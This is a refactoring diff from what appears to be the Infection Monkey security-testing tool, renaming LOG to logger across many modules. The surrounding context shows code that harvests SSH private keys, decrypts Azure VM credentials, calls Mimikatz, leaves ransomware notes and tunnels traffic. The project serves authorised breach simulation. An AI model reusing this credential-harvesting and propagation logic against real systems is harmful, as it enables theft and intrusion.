ransomware_config = RansomwareConfig(config)
|
||||
|
||||
file_encryptor = _build_file_encryptor()
|
||||
|
|
|
@ -2,21 +2,21 @@ import logging
|
|||
import shutil
|
||||
from pathlib import Path
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def leave_readme(src: Path, dest: Path):
|
||||
if dest.exists():
|
||||
LOG.warning(f"{dest} already exists, not leaving a new README.txt")
|
||||
logger.warning(f"{dest} already exists, not leaving a new README.txt")
|
||||
return
|
||||
|
||||
_copy_readme_file(src, dest)
|
||||
|
||||
|
||||
def _copy_readme_file(src: Path, dest: Path):
|
||||
LOG.info(f"Leaving a ransomware README file at {dest}")
|
||||
logger.info(f"Leaving a ransomware README file at {dest}")
|
||||
|
||||
try:
|
||||
shutil.copyfile(src, dest)
|
||||
except Exception as ex:
|
||||
LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}")
|
||||
logger.warning(f"An error occurred while attempting to leave a README.txt file: {ex}")
|
||||
|
|
|
@ -6,7 +6,7 @@ import pwd
|
|||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SSHCollector(object):
|
||||
|
@ -18,10 +18,10 @@ class SSHCollector(object):
|
|||
|
||||
@staticmethod
|
||||
def get_info():
|
||||
LOG.info("Started scanning for ssh keys")
|
||||
logger.info("Started scanning for ssh keys")
|
||||
home_dirs = SSHCollector.get_home_dirs()
|
||||
ssh_info = SSHCollector.get_ssh_files(home_dirs)
|
||||
LOG.info("Scanned for ssh keys")
|
||||
logger.info("Scanned for ssh keys")
|
||||
return ssh_info
|
||||
|
||||
@staticmethod
|
||||
|
@ -66,7 +66,7 @@ class SSHCollector(object):
|
|||
if glob.glob(os.path.join(current_path, "*.pub")):
|
||||
# Getting first file in current path with .pub extension(public key)
|
||||
public = glob.glob(os.path.join(current_path, "*.pub"))[0]
|
||||
LOG.info("Found public key in %s" % public)
|
||||
logger.info("Found public key in %s" % public)
|
||||
try:
|
||||
with open(public) as f:
|
||||
info["public_key"] = f.read()
|
||||
|
@ -80,7 +80,7 @@ class SSHCollector(object):
|
|||
private_key = f.read()
|
||||
if private_key.find("ENCRYPTED") == -1:
|
||||
info["private_key"] = private_key
|
||||
LOG.info("Found private key in %s" % private)
|
||||
logger.info("Found private key in %s" % private)
|
||||
T1005Telem(
|
||||
ScanStatus.USED, "SSH key", "Path: %s" % private
|
||||
).send()
|
||||
|
@ -94,7 +94,7 @@ class SSHCollector(object):
|
|||
try:
|
||||
with open(known_hosts) as f:
|
||||
info["known_hosts"] = f.read()
|
||||
LOG.info("Found known_hosts in %s" % known_hosts)
|
||||
logger.info("Found known_hosts in %s" % known_hosts)
|
||||
except (IOError, OSError):
|
||||
pass
|
||||
# If private key found don't search more
|
||||
|
|
|
@ -10,7 +10,7 @@ from infection_monkey.system_info.azure_cred_collector import AzureCollector
|
|||
from infection_monkey.system_info.netstat_collector import NetstatCollector
|
||||
from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Linux doesn't have WindowsError
|
||||
try:
|
||||
|
@ -76,7 +76,7 @@ class InfoCollector(object):
|
|||
containing host ip and the subnet range
|
||||
:return: None. Updates class information
|
||||
"""
|
||||
LOG.debug("Reading subnets")
|
||||
logger.debug("Reading subnets")
|
||||
self.info["network_info"] = {
|
||||
"networks": get_host_subnets(),
|
||||
"netstat": NetstatCollector.get_netstat_info(),
|
||||
|
@ -94,7 +94,7 @@ class InfoCollector(object):
|
|||
|
||||
if AZURE_CRED_COLLECTOR not in WormConfiguration.system_info_collector_classes:
|
||||
return
|
||||
LOG.debug("Harvesting creds if on an Azure machine")
|
||||
logger.debug("Harvesting creds if on an Azure machine")
|
||||
azure_collector = AzureCollector()
|
||||
if "credentials" not in self.info:
|
||||
self.info["credentials"] = {}
|
||||
|
@ -114,4 +114,4 @@ class InfoCollector(object):
|
|||
except Exception:
|
||||
# If we failed to collect azure info, no reason to fail all the collection. Log and
|
||||
# continue.
|
||||
LOG.error("Failed collecting Azure info.", exc_info=True)
|
||||
logger.error("Failed collecting Azure info.", exc_info=True)
|
||||
|
|
|
@ -9,7 +9,7 @@ from common.utils.attack_utils import ScanStatus
|
|||
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
|
||||
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AzureCollector(object):
|
||||
|
@ -35,7 +35,7 @@ class AzureCollector(object):
|
|||
"""
|
||||
results = [self.extractor(filepath) for filepath in self.file_list]
|
||||
results = [x for x in results if x]
|
||||
LOG.info("Found %d Azure VM access configuration file", len(results))
|
||||
logger.info("Found %d Azure VM access configuration file", len(results))
|
||||
return results
|
||||
|
||||
@staticmethod
|
||||
|
@ -68,13 +68,13 @@ class AzureCollector(object):
|
|||
T1064Telem(ScanStatus.USED, "Bash scripts used to extract azure credentials.").send()
|
||||
return decrypt_data["username"], decrypt_data["password"]
|
||||
except IOError:
|
||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
logger.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
return None
|
||||
except (KeyError, ValueError):
|
||||
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||
logger.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||
return None
|
||||
except subprocess.CalledProcessError:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
|
||||
)
|
||||
return None
|
||||
|
@ -119,13 +119,13 @@ class AzureCollector(object):
|
|||
).send()
|
||||
return username, password
|
||||
except IOError:
|
||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
logger.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
return None
|
||||
except (KeyError, ValueError, IndexError):
|
||||
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||
logger.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||
return None
|
||||
except subprocess.CalledProcessError:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
|
||||
)
|
||||
return None
|
||||
|
|
|
@ -3,7 +3,7 @@ import logging
|
|||
from infection_monkey.system_info import InfoCollector
|
||||
from infection_monkey.system_info.SSH_info_collector import SSHCollector
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class LinuxInfoCollector(InfoCollector):
|
||||
|
@ -20,7 +20,7 @@ class LinuxInfoCollector(InfoCollector):
|
|||
Hostname, process list and network subnets
|
||||
:return: Dict of system information
|
||||
"""
|
||||
LOG.debug("Running Linux collector")
|
||||
logger.debug("Running Linux collector")
|
||||
super(LinuxInfoCollector, self).get_info()
|
||||
self.info["ssh_info"] = SSHCollector.get_info()
|
||||
return self.info
|
||||
|
|
|
@ -7,7 +7,7 @@ from socket import AF_INET, SOCK_DGRAM, SOCK_STREAM
|
|||
|
||||
import psutil
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class NetstatCollector(object):
|
||||
|
@ -26,7 +26,7 @@ class NetstatCollector(object):
|
|||
|
||||
@staticmethod
|
||||
def get_netstat_info():
|
||||
LOG.info("Collecting netstat info")
|
||||
logger.info("Collecting netstat info")
|
||||
return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind="inet")]
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -4,7 +4,7 @@ from typing import Sequence
|
|||
from infection_monkey.system_info.system_info_collector import SystemInfoCollector
|
||||
from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SystemInfoCollectorsHandler(object):
|
||||
|
@ -16,14 +16,14 @@ class SystemInfoCollectorsHandler(object):
|
|||
system_info_telemetry = {}
|
||||
for collector in self.collectors_list:
|
||||
try:
|
||||
LOG.debug("Executing system info collector: '{}'".format(collector.name))
|
||||
logger.debug("Executing system info collector: '{}'".format(collector.name))
|
||||
collected_info = collector.collect()
|
||||
system_info_telemetry[collector.name] = collected_info
|
||||
successful_collections += 1
|
||||
except Exception as e:
|
||||
# If we failed one collector, no need to stop execution. Log and continue.
|
||||
LOG.error("Collector {} failed. Error info: {}".format(collector.name, e))
|
||||
LOG.info(
|
||||
logger.error("Collector {} failed. Error info: {}".format(collector.name, e))
|
||||
logger.info(
|
||||
"All system info collectors executed. Total {} executed, out of which {} "
|
||||
"collected successfully.".format(len(self.collectors_list), successful_collections)
|
||||
)
|
||||
|
|
|
@ -6,7 +6,7 @@ from infection_monkey.system_info.windows_cred_collector.windows_credentials imp
|
|||
WindowsCredentials,
|
||||
)
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MimikatzCredentialCollector(object):
|
||||
|
|
|
@ -10,8 +10,8 @@ sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
|||
import infection_monkey.config # noqa: E402
|
||||
from infection_monkey.system_info import InfoCollector # noqa: E402
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
LOG.info("started windows info collector")
|
||||
logger = logging.getLogger(__name__)
|
||||
logger.info("started windows info collector")
|
||||
|
||||
|
||||
class WindowsInfoCollector(InfoCollector):
|
||||
|
@ -30,7 +30,7 @@ class WindowsInfoCollector(InfoCollector):
|
|||
Tries to read credential secrets using mimikatz
|
||||
:return: Dict of system information
|
||||
"""
|
||||
LOG.debug("Running Windows collector")
|
||||
logger.debug("Running Windows collector")
|
||||
super(WindowsInfoCollector, self).get_info()
|
||||
# TODO: Think about returning self.get_wmi_info()
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
@ -41,15 +41,15 @@ class WindowsInfoCollector(InfoCollector):
|
|||
return self.info
|
||||
|
||||
def get_mimikatz_info(self):
|
||||
LOG.info("Gathering mimikatz info")
|
||||
logger.info("Gathering mimikatz info")
|
||||
try:
|
||||
credentials = MimikatzCredentialCollector.get_creds()
|
||||
if credentials:
|
||||
if "credentials" in self.info:
|
||||
self.info["credentials"].update(credentials)
|
||||
self.info["mimikatz"] = credentials
|
||||
LOG.info("Mimikatz info gathered successfully")
|
||||
logger.info("Mimikatz info gathered successfully")
|
||||
else:
|
||||
LOG.info("No mimikatz info was gathered")
|
||||
logger.info("No mimikatz info was gathered")
|
||||
except Exception as e:
|
||||
LOG.info(f"Mimikatz credential collector failed: {e}")
|
||||
logger.info(f"Mimikatz credential collector failed: {e}")
|
||||
|
|
|
@ -5,7 +5,7 @@ from abc import ABCMeta, abstractmethod
|
|||
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class _SystemSingleton(object, metaclass=ABCMeta):
|
||||
|
@ -32,16 +32,18 @@ class WindowsSystemSingleton(_SystemSingleton):
|
|||
last_error = ctypes.windll.kernel32.GetLastError()
|
||||
|
||||
if not handle:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error
|
||||
)
|
||||
return False
|
||||
if winerror.ERROR_ALREADY_EXISTS == last_error:
|
||||
LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name)
|
||||
logger.debug(
|
||||
"Cannot acquire system singleton %r, mutex already exist", self._mutex_name
|
||||
)
|
||||
return False
|
||||
|
||||
self._mutex_handle = handle
|
||||
LOG.debug("Global singleton mutex %r acquired", self._mutex_name)
|
||||
logger.debug("Global singleton mutex %r acquired", self._mutex_name)
|
||||
|
||||
return True
|
||||
|
||||
|
@ -64,7 +66,7 @@ class LinuxSystemSingleton(_SystemSingleton):
|
|||
try:
|
||||
sock.bind("\0" + self._unix_sock_name)
|
||||
except socket.error as e:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Cannot acquire system singleton %r, error code %d, error: %s",
|
||||
self._unix_sock_name,
|
||||
e.args[0],
|
||||
|
@ -74,7 +76,7 @@ class LinuxSystemSingleton(_SystemSingleton):
|
|||
|
||||
self._sock_handle = sock
|
||||
|
||||
LOG.debug("Global singleton mutex %r acquired", self._unix_sock_name)
|
||||
logger.debug("Global singleton mutex %r acquired", self._unix_sock_name)
|
||||
|
||||
return True
|
||||
|
||||
|
|
|
@ -3,7 +3,7 @@ import logging
|
|||
from common.common_consts.telem_categories import TelemCategoryEnum
|
||||
from infection_monkey.telemetry.base_telem import BaseTelem
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class TraceTelem(BaseTelem):
|
||||
|
@ -14,7 +14,7 @@ class TraceTelem(BaseTelem):
|
|||
"""
|
||||
super(TraceTelem, self).__init__()
|
||||
self.msg = msg
|
||||
LOG.debug("Trace: %s" % msg)
|
||||
logger.debug("Trace: %s" % msg)
|
||||
|
||||
telem_category = TelemCategoryEnum.TRACE
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
|
|||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||
|
@ -105,7 +105,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|||
return f, start_range, end_range
|
||||
|
||||
def log_message(self, format_string, *args):
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"FileServHTTPRequestHandler: %s - - [%s] %s"
|
||||
% (self.address_string(), self.log_date_time_string(), format_string % args)
|
||||
)
|
||||
|
@ -118,7 +118,7 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
|||
try:
|
||||
content_length = int(self.headers["Content-Length"])
|
||||
post_data = self.rfile.read(content_length).decode()
|
||||
LOG.info("Received bootloader's request: {}".format(post_data))
|
||||
logger.info("Received bootloader's request: {}".format(post_data))
|
||||
try:
|
||||
dest_path = self.path
|
||||
r = requests.post( # noqa: DUO123
|
||||
|
@ -130,21 +130,21 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
|||
)
|
||||
self.send_response(r.status_code)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
LOG.error("Couldn't forward request to the island: {}".format(e))
|
||||
logger.error("Couldn't forward request to the island: {}".format(e))
|
||||
self.send_response(404)
|
||||
except Exception as e:
|
||||
LOG.error("Failed to forward bootloader request: {}".format(e))
|
||||
logger.error("Failed to forward bootloader request: {}".format(e))
|
||||
finally:
|
||||
self.end_headers()
|
||||
self.wfile.write(r.content)
|
||||
except Exception as e:
|
||||
LOG.error("Failed receiving bootloader telemetry: {}".format(e))
|
||||
logger.error("Failed receiving bootloader telemetry: {}".format(e))
|
||||
|
||||
def version_string(self):
|
||||
return ""
|
||||
|
||||
def do_CONNECT(self):
|
||||
LOG.info("Received a connect request!")
|
||||
logger.info("Received a connect request!")
|
||||
# just provide a tunnel, transfer the data with no modification
|
||||
req = self
|
||||
req.path = "https://%s/" % req.path.replace(":443", "")
|
||||
|
@ -154,7 +154,7 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
|||
try:
|
||||
conn = socket.create_connection(address)
|
||||
except socket.error as e:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s"
|
||||
% (repr(address), e)
|
||||
)
|
||||
|
@ -181,7 +181,7 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
|||
conn.close()
|
||||
|
||||
def log_message(self, format_string, *args):
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"HTTPConnectProxyHandler: %s - [%s] %s"
|
||||
% (self.address_string(), self.log_date_time_string(), format_string % args)
|
||||
)
|
||||
|
@ -206,7 +206,7 @@ class HTTPServer(threading.Thread):
|
|||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
|
||||
logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
|
||||
TempHandler.T1105Telem(
|
||||
TempHandler.ScanStatus.USED,
|
||||
get_interface_to_target(dest[0]),
|
||||
|
@ -263,7 +263,7 @@ class LockedHTTPServer(threading.Thread):
|
|||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
|
||||
logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
|
||||
TempHandler.T1105Telem(
|
||||
TempHandler.ScanStatus.USED,
|
||||
get_interface_to_target(dest[0]),
|
||||
|
|
|
@ -8,7 +8,7 @@ from infection_monkey.transport.base import TransportProxyBase, update_last_serv
|
|||
READ_BUFFER_SIZE = 8192
|
||||
DEFAULT_TIMEOUT = 30
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class SocketsPipe(Thread):
|
||||
|
@ -70,7 +70,7 @@ class TcpProxy(TransportProxyBase):
|
|||
|
||||
pipe = SocketsPipe(source, dest)
|
||||
pipes.append(pipe)
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"piping sockets %s:%s->%s:%s",
|
||||
address[0],
|
||||
address[1],
|
||||
|
|
|
@ -10,7 +10,7 @@ from infection_monkey.network.info import get_free_tcp_port, local_ips
|
|||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||
from infection_monkey.transport.base import get_last_serve_time
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
MCAST_GROUP = "224.1.1.1"
|
||||
MCAST_PORT = 5007
|
||||
|
@ -38,10 +38,10 @@ def _check_tunnel(address, port, existing_sock=None):
|
|||
else:
|
||||
sock = existing_sock
|
||||
|
||||
LOG.debug("Checking tunnel %s:%s", address, port)
|
||||
logger.debug("Checking tunnel %s:%s", address, port)
|
||||
is_open, _ = check_tcp_port(address, int(port))
|
||||
if not is_open:
|
||||
LOG.debug("Could not connect to %s:%s", address, port)
|
||||
logger.debug("Could not connect to %s:%s", address, port)
|
||||
if not existing_sock:
|
||||
sock.close()
|
||||
return False
|
||||
|
@ -49,7 +49,7 @@ def _check_tunnel(address, port, existing_sock=None):
|
|||
try:
|
||||
sock.sendto(b"+", (address, MCAST_PORT))
|
||||
except Exception as exc:
|
||||
LOG.debug("Caught exception in tunnel registration: %s", exc)
|
||||
logger.debug("Caught exception in tunnel registration: %s", exc)
|
||||
|
||||
if not existing_sock:
|
||||
sock.close()
|
||||
|
@ -68,7 +68,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
|
|||
for adapter in l_ips:
|
||||
for attempt in range(0, attempts):
|
||||
try:
|
||||
LOG.info("Trying to find using adapter %s", adapter)
|
||||
logger.info("Trying to find using adapter %s", adapter)
|
||||
sock = _set_multicast_socket(timeout, adapter)
|
||||
sock.sendto(b"?", (MCAST_GROUP, MCAST_PORT))
|
||||
tunnels = []
|
||||
|
@ -92,7 +92,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
|
|||
return address, port
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug("Caught exception in tunnel lookup: %s", exc)
|
||||
logger.debug("Caught exception in tunnel lookup: %s", exc)
|
||||
continue
|
||||
|
||||
return None
|
||||
|
@ -103,9 +103,9 @@ def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
|
|||
sock = _set_multicast_socket(timeout)
|
||||
sock.sendto(b"-", (address, MCAST_PORT))
|
||||
sock.close()
|
||||
LOG.debug("Success quitting tunnel")
|
||||
logger.debug("Success quitting tunnel")
|
||||
except Exception as exc:
|
||||
LOG.debug("Exception quitting tunnel: %s", exc)
|
||||
logger.debug("Exception quitting tunnel: %s", exc)
|
||||
return
|
||||
|
||||
|
||||
|
@ -132,13 +132,13 @@ class MonkeyTunnel(Thread):
|
|||
return
|
||||
|
||||
if not firewall.listen_allowed(localport=self.local_port):
|
||||
LOG.info("Machine firewalled, listen not allowed, not running tunnel.")
|
||||
logger.info("Machine firewalled, listen not allowed, not running tunnel.")
|
||||
return
|
||||
|
||||
proxy = self._proxy_class(
|
||||
local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port
|
||||
)
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s",
|
||||
proxy.__class__.__name__,
|
||||
self.local_port,
|
||||
|
@ -154,22 +154,22 @@ class MonkeyTunnel(Thread):
|
|||
ip_match = get_interface_to_target(address[0])
|
||||
if ip_match:
|
||||
answer = "%s:%d" % (ip_match, self.local_port)
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Got tunnel request from %s, answering with %s", address[0], answer
|
||||
)
|
||||
self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT))
|
||||
elif b"+" == search:
|
||||
if not address[0] in self._clients:
|
||||
LOG.debug("Tunnel control: Added %s to watchlist", address[0])
|
||||
logger.debug("Tunnel control: Added %s to watchlist", address[0])
|
||||
self._clients.append(address[0])
|
||||
elif b"-" == search:
|
||||
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
||||
logger.debug("Tunnel control: Removed %s from watchlist", address[0])
|
||||
self._clients = [client for client in self._clients if client != address[0]]
|
||||
|
||||
except socket.timeout:
|
||||
continue
|
||||
|
||||
LOG.info("Stopping tunnel, waiting for clients: %s" % repr(self._clients))
|
||||
logger.info("Stopping tunnel, waiting for clients: %s" % repr(self._clients))
|
||||
|
||||
# wait till all of the tunnel clients has been disconnected, or no one used the tunnel in
|
||||
# QUIT_TIMEOUT seconds
|
||||
|
@ -177,12 +177,12 @@ class MonkeyTunnel(Thread):
|
|||
try:
|
||||
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||
if b"-" == search:
|
||||
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
||||
logger.debug("Tunnel control: Removed %s from watchlist", address[0])
|
||||
self._clients = [client for client in self._clients if client != address[0]]
|
||||
except socket.timeout:
|
||||
continue
|
||||
|
||||
LOG.info("Closing tunnel")
|
||||
logger.info("Closing tunnel")
|
||||
self._broad_sock.close()
|
||||
proxy.stop()
|
||||
proxy.join()
|
||||
|
|
|
@ -6,7 +6,7 @@ from abc import ABCMeta, abstractmethod
|
|||
from os.path import basename, dirname, isfile, join
|
||||
from typing import Callable, Sequence, Type, TypeVar
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def _get_candidate_files(base_package_file):
|
||||
|
@ -32,7 +32,7 @@ class Plugin(metaclass=ABCMeta):
|
|||
"""
|
||||
objects = []
|
||||
candidate_files = _get_candidate_files(cls.base_package_file())
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name())
|
||||
)
|
||||
# Go through all of files
|
||||
|
@ -48,13 +48,13 @@ class Plugin(metaclass=ABCMeta):
|
|||
]
|
||||
# Get object from class
|
||||
for class_object in classes:
|
||||
LOG.debug("Checking if should run object {}".format(class_object.__name__))
|
||||
logger.debug("Checking if should run object {}".format(class_object.__name__))
|
||||
try:
|
||||
if class_object.should_run(class_object.__name__):
|
||||
objects.append(class_object)
|
||||
LOG.debug("Added {} to list".format(class_object.__name__))
|
||||
logger.debug("Added {} to list".format(class_object.__name__))
|
||||
except Exception as e:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Exception {} when checking if {} should run".format(
|
||||
str(e), class_object.__name__
|
||||
)
|
||||
|
@ -75,7 +75,7 @@ class Plugin(metaclass=ABCMeta):
|
|||
instance = class_object()
|
||||
instances.append(instance)
|
||||
except Exception as e:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Exception {} when initializing {}".format(str(e), class_object.__name__)
|
||||
)
|
||||
return instances
|
||||
|
|
|
@ -13,7 +13,7 @@ from infection_monkey.utils.commands import (
|
|||
)
|
||||
from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
if "win32" == sys.platform:
|
||||
from win32process import DETACHED_PROCESS
|
||||
|
@ -38,7 +38,7 @@ class WindowsUpgrader(object):
|
|||
) as written_monkey_file:
|
||||
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
|
||||
except (IOError, AttributeError) as e:
|
||||
LOG.error("Failed to download the Monkey to the target path: %s." % e)
|
||||
logger.error("Failed to download the Monkey to the target path: %s." % e)
|
||||
return
|
||||
|
||||
monkey_options = build_monkey_commandline_explicitly(
|
||||
|
@ -58,7 +58,7 @@ class WindowsUpgrader(object):
|
|||
creationflags=DETACHED_PROCESS,
|
||||
)
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed 64bit monkey process (PID=%d) with command line: %s",
|
||||
monkey_process.pid,
|
||||
" ".join(monkey_cmdline),
|
||||
|
@ -66,4 +66,4 @@ class WindowsUpgrader(object):
|
|||
|
||||
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
|
||||
if monkey_process.poll() is not None:
|
||||
LOG.error("Seems like monkey died too soon")
|
||||
logger.error("Seems like monkey died too soon")
|
||||
|
|
|
@ -9,7 +9,7 @@ from monkey_island.cc.services.config_manipulator import update_config_on_mode_s
|
|||
from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode, set_mode
|
||||
from monkey_island.cc.services.mode.mode_enum import IslandModeEnum
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class IslandMode(flask_restful.Resource):
|
||||
|
@ -23,7 +23,7 @@ class IslandMode(flask_restful.Resource):
|
|||
set_mode(mode)
|
||||
|
||||
if not update_config_on_mode_set(mode):
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Could not apply configuration changes per mode. "
|
||||
"Using default advanced configuration."
|
||||
)
|
||||
|
|
|
@ -11,7 +11,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required
|
|||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.post_breach_files import PostBreachFilesService
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
# Front end uses these strings to identify which files to work with (linux or windows)
|
||||
LINUX_PBA_TYPE = "PBAlinux"
|
||||
WINDOWS_PBA_TYPE = "PBAwindows"
|
||||
|
|
|
@ -5,7 +5,7 @@ import stat
|
|||
from contextlib import contextmanager
|
||||
from typing import Generator
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def is_windows_os() -> bool:
|
||||
|
@ -35,7 +35,7 @@ def _create_secure_directory_linux(path: str):
|
|||
os.mkdir(path, mode=stat.S_IRWXU)
|
||||
|
||||
except Exception as ex:
|
||||
LOG.error(f'Could not create a directory at "{path}": {str(ex)}')
|
||||
logger.error(f'Could not create a directory at "{path}": {str(ex)}')
|
||||
raise ex
|
||||
|
||||
|
||||
|
@ -48,7 +48,7 @@ def _create_secure_directory_windows(path: str):
|
|||
win32file.CreateDirectory(path, security_attributes)
|
||||
|
||||
except Exception as ex:
|
||||
LOG.error(f'Could not create a directory at "{path}": {str(ex)}')
|
||||
logger.error(f'Could not create a directory at "{path}": {str(ex)}')
|
||||
raise ex
|
||||
|
||||
|
||||
|
@ -74,7 +74,7 @@ def _get_file_descriptor_for_new_secure_file_linux(path: str) -> int:
|
|||
return fd
|
||||
|
||||
except Exception as ex:
|
||||
LOG.error(f'Could not create a file at "{path}": {str(ex)}')
|
||||
logger.error(f'Could not create a file at "{path}": {str(ex)}')
|
||||
raise ex
|
||||
|
||||
|
||||
|
@ -109,7 +109,7 @@ def _get_file_descriptor_for_new_secure_file_windows(path: str) -> int:
|
|||
return win32file._open_osfhandle(detached_handle, os.O_RDWR)
|
||||
|
||||
except Exception as ex:
|
||||
LOG.error(f'Could not create a file at "{path}": {str(ex)}')
|
||||
logger.error(f'Could not create a file at "{path}": {str(ex)}')
|
||||
raise ex
|
||||
|
||||
|
||||
|
|
|
@ -45,7 +45,7 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
|
|||
safe_generate_attack_report,
|
||||
)
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
TECHNIQUES = {
|
||||
"T1210": T1210.T1210,
|
||||
|
@ -110,7 +110,7 @@ class AttackReportService:
|
|||
technique_report_data.update(tech_info)
|
||||
report["techniques"].update({tech_id: technique_report_data})
|
||||
except KeyError as e:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Attack technique does not have it's report component added "
|
||||
"to attack report service. %s" % e
|
||||
)
|
||||
|
|
|
@ -3,7 +3,7 @@ import logging
|
|||
